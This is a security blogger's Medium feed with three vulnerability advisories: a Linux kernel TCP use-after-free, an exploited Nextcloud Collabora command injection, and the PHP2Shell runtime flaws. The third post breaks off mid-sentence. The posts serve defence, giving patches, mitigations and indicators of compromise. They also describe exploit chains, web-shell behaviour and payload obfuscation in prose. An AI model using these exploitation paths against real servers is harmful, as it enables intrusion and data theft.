<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Beri Contraster on Medium]]></title>
        <description><![CDATA[Stories by Beri Contraster on Medium]]></description>
        <link>https://medium.com/@bericontraster?source=rss-b965b4bc0386------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*mVP4-RZA37UIEH-qfC7AkQ.jpeg</url>
            <title>Stories by Beri Contraster on Medium</title>
            <link>https://medium.com/@bericontraster?source=rss-b965b4bc0386------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 20:20:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bericontraster/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2026–98432: Linux Kernel TCP Use-After-Free RCE]]></title>
            <link>https://medium.com/@bericontraster/cve-2026-98432-linux-kernel-tcp-use-after-free-rce-eeeeee9c6cef?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/eeeeee9c6cef</guid>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[user-after-free]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[linux-kernel]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Sun, 08 Nov 2026 16:41:16 GMT</pubDate>
            <atom:updated>2026-11-08T16:41:16.993Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mCL0pKJAJqtseYz51lK3Cw.png" /><figcaption>CVE-2026–98432</figcaption></figure><h3>TL;DR</h3><p><a href="https://nvd.nist.gov/vuln/detail/cve-2026-98432"><strong>CVE-2026–98432</strong></a> is a critical use-after-free (UAF) vulnerability in the Linux kernel’s IPv4 TCP handshake path, affecting kernel versions 4.4 and later. The flaw involves a race condition that can lead to kernel memory corruption and potentially remote code execution. <a href="https://www.anthropic.com/research/discovering-vulnerabilities-with-claude">Anthropic’s</a> Frontier Red Team reported that an unreleased internal Claude research model discovered the vulnerability and developed a working exploit capable of executing arbitrary commands as root on a Linux server with an accessible Multipath TCP (MPTCP) listener, without authentication or user interaction.</p><p><a href="https://aws.amazon.com/security/security-bulletins/2026-160-aws/">AWS</a> independently acknowledged the vulnerability and confirmed that remote code execution is possible under specific conditions. Anthropic reported that its proof of concept took approximately 53 minutes to progress from a remote kernel address leak to command execution. <strong>Upgrade to a vendor-patched kernel and reboot to fully remediate the vulnerability.</strong> As of the latest AWS advisory reviewed on November 3, 2026, AWS reported no known exploitation in the wild.</p><h3>Affected Software and Versions</h3><p><strong>Affected software:</strong> Linux Kernel</p><p>CVE-2026–98432 affects Linux kernel versions <strong>4.4 and later</strong>, including the following stable kernel branches:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*dh1MPLgnr6ttuYK_b-qA8g.png" /></figure><p>These version ranges are based on the Linux kernel security advisory. Kernel versions from 4.4 onward on older or unsupported branches may also be vulnerable.</p><p><strong>Affected distributions:</strong> Potentially affected Linux distributions include Ubuntu, Debian, Red Hat Enterprise Linux (RHEL), SUSE Linux Enterprise, Oracle Linux, and Amazon Linux. Actual exposure and remediation status depend on the distribution, kernel package, and vendor-specific backported patches.</p><blockquote><strong>Note:</strong> Distribution-provided kernel versions may contain fixes without matching the upstream version numbers listed above. Check the relevant vendor security advisory before determining whether a system is vulnerable.</blockquote><h3>How to Mitigate CVE-2026–98432</h3><p>The recommended remediation for CVE-2026–98432 is to install a patched Linux kernel and reboot the affected system. According to AWS, applying the kernel update is the only complete remediation, although supported livepatch solutions can also address the vulnerability without requiring an immediate reboot.</p><p><strong>Amazon Linux:</strong> AWS has released patched kernel packages for Amazon Linux 2 and Amazon Linux 2023, covering multiple kernel branches. Administrators should update affected instances to the latest available security-patched kernel.</p><p><strong>Kubernetes and AWS-managed environments:</strong> Organizations running workloads on Amazon EKS, ECS, Fargate, or Bottlerocket should ensure that their underlying worker nodes and compute environments are running patched kernel versions. This includes managed and self-managed node groups, EC2 instances, and existing workloads that may continue running on vulnerable infrastructure.</p><p><strong>Distribution-Specific Updates:</strong> Administrators should consult their Linux distribution’s official security advisories for the latest patch availability and remediation guidance. The <a href="https://ubuntu.com/security/CVE-2026-98432">Ubuntu Security Tracker</a> lists affected releases and tracks fixes, while the <a href="https://access.redhat.com/security/cve/cve-2026-98432">Red Hat CVE advisory</a> provides affected product details and available security errata. Additional guidance is available from the <a href="https://security-tracker.debian.org/tracker/CVE-2026-98432">Debian Security Tracker</a> and <a href="https://www.suse.com/security/cve/CVE-2026-98432.html">SUSE Security</a>. Since patch status varies by distribution and release, verify your system’s status with the relevant vendor and install the applicable security update.</p><p><strong>Upstream Linux Kernel:</strong> For systems running custom or upstream kernels, the vulnerability has been addressed in Linux 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, and 6.18.56. Administrators should upgrade to the corresponding patched release or a newer supported kernel version.</p><p>Organizations should prioritize identifying all affected systems, including cloud instances, container hosts, and Kubernetes worker nodes, to ensure that vulnerable kernel versions are not left running in their environments.</p><p>For additional details, refer to the official <a href="https://aws.amazon.com/security/security-bulletins/2026-160-aws/">AWS Security Bulletin</a> and the <a href="https://lists.openwall.net/linux-cve-announce/2026/10/15/1">Linux Kernel security announcement</a>.</p><h3>How to Mitigate CVE-2026–98432 If You Cannot Patch Immediately</h3><p>If an immediate kernel upgrade is not possible, several temporary mitigations can reduce exposure to CVE-2026–98432. These measures do not replace installing a patched kernel and rebooting.</p><p><strong>Disable Multipath TCP (MPTCP):</strong> If MPTCP is not required, disable it by setting the kernel parameter net.mptcp.enabled=0. This reduces exposure to the demonstrated exploitation path, which relies on an accessible MPTCP listener.</p><p><strong>Disable MPTCP in Go Applications:</strong> Go 1.24 and later enable MPTCP by default for listening sockets on Linux where supported. For Go applications, setting GODEBUG=multipathtcp=0 disables this default behavior at runtime. However, applications that explicitly enable MPTCP may override this setting, so it should not be treated as a system-wide mitigation.</p><p><strong>Block IPv4 Packets Containing IP Options:</strong> The vulnerability involves the handling of IP options during the IPv4 TCP handshake. As a temporary mitigation, AWS recommends dropping incoming packets with IPv4 header options using an iptables rule: iptables -I INPUT 1 -m u32 --u32 &#39;0&gt;&gt;24&amp;0x0f=6:15&#39; -j DROP</p><p>This rule filters incoming packets with IPv4 headers longer than the standard 20-byte header. However, it may interfere with legitimate traffic that relies on IPv4 options, and the rule does not automatically persist across reboots. Administrators should also account for traffic paths that bypass the host’s INPUT chain, such as forwarded traffic to containers.</p><p><strong>Restrict Direct Network Exposure:</strong> Where possible, place affected systems behind a properly configured load balancer or managed service that terminates incoming connections before they reach the vulnerable host. Restrict unnecessary inbound access and ensure that the host’s TCP services are not directly reachable from untrusted networks.</p><blockquote><strong>Important:</strong> These mitigations reduce exposure but do not fully remediate CVE-2026–98432. Prioritize installing the vendor-provided kernel patch and rebooting affected systems as soon as possible.</blockquote><h3>CVE-2026–98432 Severity Ratings and CVSS Scores</h3><p>CVE-2026–98432 has received different severity assessments from Linux kernel maintainers and major vendors, with scores ranging from 5.9 to 9.8.</p><ul><li><strong>Linux Kernel CVE Team </strong><strong>9.8 (Critical):</strong> Classified as remotely exploitable over the network, requiring no privileges or user interaction, with low attack complexity.</li><li><strong>Ubuntu </strong><strong>8.3 (High):</strong> Assigns a high severity rating, emphasizing the significant impact on system availability, with lower confidentiality and integrity impacts.</li><li><strong>Oracle and SUSE </strong><strong>8.1 (High):</strong> Assess the vulnerability similarly but consider exploitation more complex.</li><li><strong>Amazon (AWS) </strong><strong>7.0 (High):</strong> Assigns a lower numerical severity score and classifies the issue as Important.</li><li><strong>Red Hat </strong><strong>5.9 (Moderate):</strong> Takes a more conservative approach, considering successful exploitation more difficult and a kernel crash a more likely outcome than remote code execution.</li></ul><p>The variation in scores reflects differences in how vendors assess race-condition reliability, exploitation complexity, and potential impact. Despite these differences, the vulnerability deserves attention because successful exploitation could compromise the affected Linux system.</p><h3>Technical Deep Dive: Root Cause and Exploitation of CVE-2026–98432</h3><p>CVE-2026–98432 is a <strong>race condition leading to a use-after-free (UAF) vulnerability in the Linux kernel’s IPv4 TCP handshake implementation</strong>. The issue occurs when multiple CPUs concurrently process TCP connection events and access IP options memory whose ownership has changed or whose allocation has already been freed. The vulnerability affects kernel versions dating back to Linux 4.4.</p><h4>A Race Condition in TCP Connection Handling</h4><p>When a TCP connection begins, the client sends a SYN packet to the server. If the packet contains IPv4 options, the Linux kernel stores those options alongside the pending connection request so they can be used while processing the handshake and constructing the SYN-ACK response.</p><p>The problem arises when the connection progresses while the kernel is simultaneously processing a retransmitted SYN for the same request. During successful connection establishment, tcp_v4_syn_recv_sock() transfers ownership of the IP options buffer from the request socket to the newly created child socket without copying the underlying memory.</p><p>Meanwhile, another CPU can still be processing the retransmitted SYN and reading those options through the TCP response path. Because these operations can occur concurrently, the child socket may be destroyed and its IP options memory freed while another execution path still holds a reference to that memory.</p><h4>Understanding the Use-After-Free</h4><p>The underlying issue is a mismatch between how the kernel accesses shared memory and how it releases that memory.</p><p>The relevant code paths use Read-Copy-Update (RCU) read-side protection when accessing the IP options. RCU allows readers to access shared data concurrently, but memory must not be reclaimed until existing readers have finished using it.</p><p>In the vulnerable implementation, inet_sock_destruct() releases the options buffer using kfree(), which does not wait for an RCU grace period. Consequently, another CPU can continue accessing the buffer after it has been freed. Subsequent operations in ip_options_build() may then read memory that is no longer valid.</p><p>A related race can occur when TCP request-socket migration is enabled, including configurations that use net.ipv4.tcp_migrate_req or a BPF SO_REUSEPORT migration program. In this case, request sockets can share the same options buffer, creating another opportunity for one execution path to free memory that another path is still accessing.</p><h4>Exploitation and Security Impact</h4><p>An unauthenticated remote attacker can potentially trigger the vulnerable code by sending crafted IPv4 TCP packets containing IP options to an affected listening service. Exploitation depends on specific timing conditions and successfully winning the race between connection processing and memory deallocation.</p><p>The immediate consequences can include kernel memory disclosure, memory corruption, and a system crash. More seriously, Anthropic’s Frontier Red Team demonstrated a proof of concept that progressed from a remote kernel memory disclosure to control-flow manipulation and arbitrary command execution as root on a Linux server with an accessible Multipath TCP (MPTCP) listener. The demonstrated exploit required no authentication or user interaction.</p><p>The demonstrated attack used two stages. First, it exploited the race to disclose kernel memory and obtain a kernel pointer, helping defeat Kernel Address Space Layout Randomization (KASLR). Second, it exploited the memory-corruption condition to overwrite a callback pointer and redirect execution through existing kernel functionality, ultimately executing an attacker-controlled command with root privileges.</p><p>Importantly, <strong>the MPTCP listener is a requirement of the demonstrated remote code execution exploit, not necessarily of the underlying vulnerability</strong>. The underlying use-after-free exists in the IPv4 TCP handshake code and can have security consequences even where the specific demonstrated exploit path is unavailable.</p><h4>How the Vulnerability Was Fixed</h4><p>The upstream fix addresses the unsafe memory deallocation rather than changing the TCP handshake itself. The kernel patch replaces the relevant kfree() calls with kfree_rcu() in inet_sock_destruct() and tcp_v4_reqsk_destructor().</p><p>Unlike a direct kfree(), kfree_rcu() defers reclamation until an RCU grace period has elapsed, allowing existing readers to finish accessing the memory before it is released. This resolves the lifetime-management issue responsible for the use-after-free condition. The fix has been incorporated into patched upstream kernel releases and backported to maintained stable branches.</p><h3>References</h3><p>The following resources provide additional technical details, vulnerability disclosures, security advisories, and remediation guidance for CVE-2026–98432.</p><ol><li><strong>NIST National Vulnerability Database (NVD):</strong> <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-98432">CVE-2026–98432</a></li><li><strong>Anthropic:</strong> <a href="https://www.anthropic.com/research/discovering-vulnerabilities-with-claude">Discovering Vulnerabilities with Claude</a></li><li><strong>Amazon Web Services (AWS):</strong> <a href="https://aws.amazon.com/security/security-bulletins/2026-160-aws/">Security Bulletin 2026–160</a></li><li><strong>Linux Kernel CVE Team:</strong> <a href="https://lists.openwall.net/linux-cve-announce/2026/10/15/1">CVE-2026–98432 Security Announcement</a></li><li><strong>Ubuntu Security:</strong> <a href="https://ubuntu.com/security/CVE-2026-98432">Ubuntu CVE-2026–98432 Tracker</a></li><li><strong>Red Hat:</strong> <a href="https://access.redhat.com/security/cve/cve-2026-98432">CVE-2026–98432 Security Advisory</a></li><li><strong>Debian Security Tracker:</strong> <a href="https://security-tracker.debian.org/tracker/CVE-2026-98432">CVE-2026–98432</a></li><li><strong>SUSE:</strong> <a href="https://www.suse.com/security/cve/CVE-2026-98432.html">CVE-2026–98432 Security Information</a></li><li><strong>Aikido Security:</strong> <a href="https://www.aikido.dev/blog/linux-kernel-tcp-rce-vulnerability-cve-2026-98432">Linux Kernel TCP RCE Vulnerability — CVE-2026–98432</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eeeeee9c6cef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–110447: Critical RCE in Nextcloud Built-in Collabora CODE Server]]></title>
            <link>https://medium.com/@bericontraster/cve-2026-110447-critical-rce-in-nextcloud-built-in-collabora-code-server-9261aef9d94b?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/9261aef9d94b</guid>
            <category><![CDATA[nextcloud]]></category>
            <category><![CDATA[cve-2026-110447]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 16:53:23 GMT</pubDate>
            <atom:updated>2026-10-27T16:53:23.455Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N_X_pzd-dYH3o2D5h3E1Xg.png" /><figcaption>Collabora Code Server — CVE-2026–110447</figcaption></figure><h3>TL;DR</h3><p><a href="https://nvd.nist.gov/vuln/detail/cve-2026-110447"><strong>CVE-2026–110447</strong></a> is a critical OS command injection vulnerability (<a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78</a>) in the richdocumentscode Nextcloud app, which bundles Collabora Online&#39;s built-in CODE Server. The vulnerability affects versions <strong>before 26.4.303</strong> and carries a CVSS v3.1 score of <strong>9.8 (Critical)</strong>.</p><p>The flaw resides in proxy.php and occurs when the CODE Server is not running, such as immediately after a restart. An attacker can exploit this condition to achieve <strong>unauthenticated remote code execution (RCE)</strong>, potentially compromising the underlying server&#39;s confidentiality, integrity, and availability.</p><p>The vulnerability has been <strong>exploited in the wild</strong> and added to CISA’s Known Exploited Vulnerabilities (KEV) Catalog. Administrators should upgrade the richdocumentscode app to <strong>version 26.4.303 or later</strong> and investigate potentially compromised systems. Note that standalone Collabora Online server deployments are not affected; the vulnerability specifically impacts the built-in CODE Server deployment within Nextcloud.</p><h3>Affected Software &amp; Versions</h3><ul><li><strong>Software:</strong> Nextcloud richdocumentscode app (built-in Collabora Online CODE Server)</li><li><strong>Affected versions:</strong> Versions before 26.4.303 (<a href="https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh">GHSA-g3vx-3m76-fghh</a>)</li><li><strong>Fixed version:</strong> 26.4.303 and later</li><li><strong>Deployment scope:</strong> Nextcloud deployments using the built-in CODE Server</li><li><strong>Not affected:</strong> Standalone Collabora Online server deployments</li></ul><h3>What the Incident Report Adds</h3><p><a href="https://github.com/CollaboraOnline/richdocumentscode/issues/354">GitHub issue #354</a> is valuable because it documents observed exploitation, not just the vulnerability description. The reporter said the affected installations were running richdocumentscode 26.4.302 and described requests targeting: /apps/richdocumentscode/proxy.php?status</p><p>The requests combined encoded path traversal, shell command substitution, {IFS} whitespace obfuscation, and a Base64-decoded shell payload. The reported result was the creation of PHP web shells with names such as shx*.php. A recovered sample accepted a command through the c query parameter and executed it with shell_exec(), giving the attacker command execution in the web-server/PHP process context. The full exploit request is omitted here; the indicators below are sufficient for defensive hunting.</p><p>The reporter described multiple affected Nextcloud installations. On one system, the web shell was subsequently used to search for password databases and cryptocurrency wallet or keystore artifacts. The reporter did <strong>not</strong> find explicit evidence in the reviewed HTTP requests that files had been archived, uploaded, or exfiltrated. That limitation does not prove no data was accessed: a web shell can read or modify anything permitted to the web-server account.</p><h4>Indicators of Compromise (IOCs)</h4><p>Use these as hunting leads, not as a complete detection signature. IP addresses and callback infrastructure can change, and legitimate logs may contain some individual strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVNhtFIADjf7gXzZYEis5w.png" /><figcaption>IOCs</figcaption></figure><p>Treat the IP and callback domain as incident-specific indicators from the public report, not proof that every exploitation attempt uses the same infrastructure.</p><h4>Why Disabling the App Is Not Enough</h4><p>Collabora’s advisory explicitly states that disabling the app does not eliminate the exposure: the vulnerable app must be <strong>upgraded to </strong><strong>26.4.303 or later, or removed</strong>. The issue thread also records a maintainer confirming that 26.4.303 should be safe. The maintainer warned that lingering shx*.php files should be removed during cleanup. If exploitation is suspected, do not rely on upgrading alone investigate the host and treat accessible secrets and application data as potentially exposed.</p><h3>Mitigation &amp; Remediation</h3><p>The recommended remediation for <a href="https://nvd.nist.gov/vuln/detail/cve-2026-110447">CVE-2026–110447</a> is to <strong>upgrade the </strong><strong>richdocumentscode app to version </strong><strong>26.4.303 or later</strong>. Since this vulnerability has been exploited in the wild, affected Nextcloud instances should be prioritized for immediate remediation.</p><ul><li><strong>Upgrade the Vulnerable App</strong>: <a href="https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516">Update the built-in Collabora Online CODE Server</a> app to a patched version. The vulnerability affects versions before 26.4.303.</li></ul><blockquote><em>Administrators should verify the installed version and confirm that the upgrade completed successfully.</em></blockquote><ul><li><strong>Remove the App if Patching Is Not Possible</strong>: If the vulnerable app cannot be upgraded immediately, remove the built-in CODE Server app until a patched version can be deployed.</li></ul><blockquote><strong><em>Important:</em></strong><em> Simply disabling the app may not eliminate the exposure. Remove the vulnerable app or upgrade it to a fixed version.</em></blockquote><ul><li><strong>Investigate Potential Compromise:</strong> Because exploitation has been observed in the wild, patching alone is insufficient for systems that may already have been compromised.</li></ul><p><strong>Administrators should:</strong></p><ol><li>Review web server access logs for suspicious requests targeting richdocumentscode/proxy.php.</li><li>Inspect the application directory for unexpected or recently created PHP files.</li><li>Check for suspicious processes, persistence mechanisms, and outbound network connections.</li><li>Investigate any indicators of unauthorized command execution.</li><li>Rotate credentials and secrets that may have been exposed if compromise is confirmed or suspected.</li></ol><ul><li><strong>Verify the Remediation:</strong> After updating or removing the app, confirm that the installed version is no longer vulnerable and that the deployment operates as expected. If evidence of exploitation is discovered, treat the affected host as potentially compromised and follow an appropriate incident response and recovery process.</li></ul><h3>References</h3><ul><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-110447">NVD — CVE-2026–110447</a></li><li><a href="https://github.com/advisories/GHSA-f97p-r72q-64h2">GitHub — CVE-2026–110447</a></li><li><a href="https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh">Collabora Online — Security Advisory</a></li><li><a href="https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516">Update Collabora Built-in Server Asap</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9261aef9d94b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PHP2Shell: Critical PHP RCE Vulnerabilities Explained]]></title>
            <link>https://medium.com/@bericontraster/php2shell-critical-php-rce-vulnerabilities-explained-b8d1b07621b3?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8d1b07621b3</guid>
            <category><![CDATA[php]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Mon, 26 Oct 2026 18:38:19 GMT</pubDate>
            <atom:updated>2026-10-26T18:38:19.206Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2qnAX-DJYmAlB_2cY0lgYA.png" /><figcaption>PHP2Shell — Cover Image</figcaption></figure><h3>TL;DR</h3><p><strong>PHP2Shell</strong> refers to two critical PHP runtime vulnerabilities, <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109618">CVE-2026–109618</a> and <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109619">CVE-2026–109619</a>, that can enable unauthenticated remote code execution. Disclosed on October 21, 2026, the flaws expose vulnerable PHP deployments to attacks that may execute before application-level security controls take effect. More concerningly, AWS detected an exploitation attempt four days before public disclosure, while Cloudflare prepared WAF protections for the release. The incident highlights a shrinking window between vulnerability discovery, exploit availability, and real-world targeting. Upgrade to a fixed PHP release and investigate potentially exposed systems.</p><h3>Discovery, Disclosure Leak, and the Race to Patch</h3><p>On October 21, 2026, the PHP project disclosed two critical vulnerabilities, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-109618"><strong>CVE-2026–109618</strong></a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-109619"><strong>CVE-2026–109619</strong></a>, collectively known as <strong>PHP2Shell</strong>. Both can enable unauthenticated remote code execution (RCE), potentially allowing attackers to execute commands on vulnerable servers without application credentials. Because the flaws affect PHP’s request-processing internals, they can be exploited before application-level security controls are reached.</p><p>The vulnerabilities emerged from multiple research efforts. <a href="https://calif.io/php2shell/"><strong>Calif</strong></a> researcher Ryan Austin reported the first issue to the PHP security team on August 11, 2026, following research conducted through <a href="https://openai.com/index/coordinated-disclosure-of-critical-vulnerabilities/">OpenAI’s Patch the Planet program</a>. <a href="https://www.wiz.io/blog/php2shell-php-rce">Wiz Research</a> independently identified related flaws later that month, and OpenAI’s Codex Security team subsequently reported additional attack paths.</p><p>The planned disclosure was disrupted on October 20, when details about the vulnerabilities and a proof-of-concept (PoC) demonstration began circulating publicly ahead of schedule. The PHP team moved the release forward, publishing security updates on October 21.</p><p>The threat was not merely theoretical. <a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/"><strong>Amazon Threat Intelligence</strong></a> reported an exploitation attempt against its MadPot honeypot on October 17, four days before public disclosure. <a href="https://blog.cloudflare.com/php-vulnerabilities-waf-protection/"><strong>Cloudflare</strong></a> also reported attack traffic and deployed Web Application Firewall (WAF) protections ahead of the release.</p><h4>PHP2Shell Disclosure Timeline</h4><figure><img alt="php2shell disclosure timeline table" src="https://cdn-images-1.medium.com/max/1024/1*KeEz2_YnHDPeesap2Plcug.png" /><figcaption>PHP2Shell Disclosure Timeline</figcaption></figure><h3>Affected Versions, Platforms, and Impact</h3><p>Any server using PHP to handle web requests may be vulnerable, including deployments using PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed. The PHP team confirmed working exploits against default configurations (<a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w">GHSA-w8hw-w9fx-j79w</a>).</p><h4>Affected Versions</h4><ul><li>PHP 8.2 before 8.2.35</li><li>PHP 8.3 before 8.3.36</li><li>PHP 8.4 before 8.4.27</li><li>PHP 8.5 before 8.5.12</li></ul><p>Unsupported PHP versions may also be affected. Linux distributions sometimes backport security fixes without changing the upstream version number, so check your vendor’s advisory before determining whether a system remains vulnerable. See <a href="https://ubuntu.com/security/notices/USN-8948-1">Ubuntu USN-8948–1</a> for an example.</p><blockquote><strong><em>Impact:</em></strong><em> Successful exploitation can allow unauthenticated remote code execution with the privileges of the PHP process, potentially exposing application secrets, database credentials, and customer data. Consult the official </em><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"><em>PHP security advisory</em></a><em> for the technical details and remediation guidance.</em></blockquote><h4>Applications Tested with Confirmed RCE</h4><p>Calif also confirmed pre-authentication remote code execution against the following applications and versions running vulnerable PHP builds:</p><pre>- WordPress 7.1.2<br>- Drupal 11.4.3<br>- Joomla 6.1.4<br>- MediaWiki 1.46.2<br>- Roundcube 1.7.4<br>- Magento 2.4.9<br>- phpMyAdmin 5.2.3<br>- Nextcloud 35.0.1<br>- Laravel 13.11<br>- Symfony 8.1<br>- WHMCS</pre><p>These are tested application versions, not the only versions at risk. PHP2Shell affects the underlying PHP runtime, so updating the CMS or framework alone does not remediate the vulnerability. The PHP runtime itself must be patched.</p><h3>How to Fix PHP2Shell (CVE-2026–109618, CVE-2026–109619)</h3><p><strong>Updating PHP is the only complete fix.</strong> Upgrade to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, as appropriate for your branch, or install your vendor’s patched package. For PHP 8.1 and older, check vendor security advisories for backported fixes or migrate to a supported release. Rebuild container images and restart all affected PHP workers after updating.</p><p>If immediate patching is not possible, the following measures may reduce exposure. They are temporary mitigations, not substitutes for updating.</p><h4>CVE-2026–109618: Out-of-Memory (OOM) Corruption</h4><ul><li>Where operationally safe, set and enforce memory_limit=-1 in administrative configuration. This removes the predictable per-request memory limit used by the confirmed exploitation path, but does not prevent every possible allocation failure.</li><li>Keep post_max_size conservative and enforce decoded request-body limits at the web server or reverse proxy.</li><li>Bound input-variable counts, nesting depth, multipart parts, per-part headers, and uploaded files.</li><li>If the application does not require multipart uploads, block multipart/form-data requests before they reach PHP.</li><li>Do not use RLIMIT_AS or RLIMIT_DATA as mitigations for this issue; these can trigger the vulnerable allocation-failure path.</li></ul><h4>CVE-2026–109619: Stale Global State</h4><ul><li>Disable session upload progress if it is not required: session.upload_progress.enabled = 0</li><li>On PHP 8.5, set fatal_error_backtraces=0 to remove the producer used in the confirmed mod_php exploitation path.</li><li>Remove obsolete or invalid INI directives that generate diagnostics before request initialization.</li><li>Review attacker-reachable paths for fatal errors and timeouts that can interrupt operations before internal state is reset.</li><li>Where practical, consider pm.max_requests=1 for PHP-FPM worker recycling. This is a supplementary risk-reduction measure, not a complete mitigation.</li></ul><p>Apply mitigations administratively so applications cannot override them, and restart the affected workers. Follow both official advisories for additional conditions and limitations.</p><h3>Technical Deep Dive: Inside PHP2Shell</h3><p>PHP2Shell is not a vulnerability in WordPress, Laravel, or another PHP application. The root cause lies in PHP core, where request initialization, memory management, and cleanup do not consistently maintain valid internal state when execution terminates unexpectedly.</p><p>The two CVEs represent different manifestations of this problem: <strong>CVE-2026–109618 involves partially initialized data after an out-of-memory condition, while CVE-2026–109619 involves stale references to memory that has already been freed.</strong> Both can lead to remote code execution under the appropriate conditions.</p><h3>CVE-2026–109618: Remote Code Execution Through Out-of-Memory Corruption</h3><blockquote><strong><em>Root cause: incomplete initialization followed by unsafe cleanup.</em></strong></blockquote><p>PHP manages memory for each request and performs cleanup when processing finishes. However, if an allocation fails during a sensitive initialization step, the runtime may terminate the current execution path before the associated internal data structures have reached a valid state.</p><p>PHP uses an emergency control-flow mechanism called zend_bailout(), implemented using longjmp() in relevant paths, to escape certain fatal conditions. Before the fix, this could interrupt initialization without ensuring that subsequent cleanup would safely handle partially initialized data.</p><p>The problem is not simply that PHP runs out of memory. It is that <strong>execution can be interrupted between changes to an internal data structure, leaving cleanup code to operate on state that it assumes is valid.</strong></p><h4>Where the problem occurs</h4><p>One relevant area is PHP’s internal hash-table management, which is used to represent arrays and other data structures. When entries are inserted, the runtime must maintain consistent metadata, allocate storage, and initialize entry fields.</p><p>If an operation fails after some internal bookkeeping has changed but before the entry is fully initialized, the structure may be left inconsistent. If PHP subsequently traverses or cleans up that structure without correctly accounting for the interrupted operation, it can access invalid data.</p><p>Multipart request parsing provides a remotely reachable route into these failure conditions. PHP processes request fields and file metadata before application code executes in certain server configurations. Excessive internal allocation can trigger an out-of-memory condition during this stage, exposing the unsafe cleanup path.</p><h4>How the failure can lead to RCE</h4><p>The vulnerability can be understood as a sequence of four events:</p><ol><li>An incoming request triggers memory-intensive processing.</li><li>PHP encounters an allocation failure while internal state is only partially initialized.</li><li>Emergency termination interrupts the normal initialization sequence.</li><li>Request cleanup processes the invalid state, potentially corrupting memory in a way that can lead to code execution.</li></ol><p>The exact outcome depends on the execution path and server configuration. The PHP team confirmed exploitable conditions, but this should not be interpreted as meaning every PHP deployment is equally exploitable.</p><h3>CVE-2026–109619: Remote Code Execution Through Stale Global State</h3><blockquote><strong><em>Root cause: request-owned memory remains referenced after being freed.</em></strong></blockquote><p>The second vulnerability involves a different memory-safety failure: a use-after-free.</p><p>PHP workers can process multiple requests over their lifetime. Although request-specific memory is released when a request ends, some runtime state persists at the worker level. Any persistent reference to request-owned memory must therefore be cleared or updated before that memory is released.</p><p>CVE-2026–109619 occurs when this lifecycle is not handled correctly. An interrupted operation can leave internal state accessible through a global reference even though the memory it points to has already been freed. A later operation may then consume the stale reference before normal request initialization resets it.</p><h4>Where the problem occurs</h4><p>The relevant code paths involve PHP’s persistent runtime state, including session and error-handling state. The vulnerability is not simply that PHP retains globals between requests; persistent state is an intentional part of the runtime architecture. The defect is that a reference to request-owned data can survive beyond the lifetime of that data.</p><p>The PHP security advisory describes two important classes of early consumers:</p><ul><li><strong>Configuration diagnostics:</strong> Certain warnings or deprecation messages generated while configuration is being applied can access stale error-related state before ordinary request 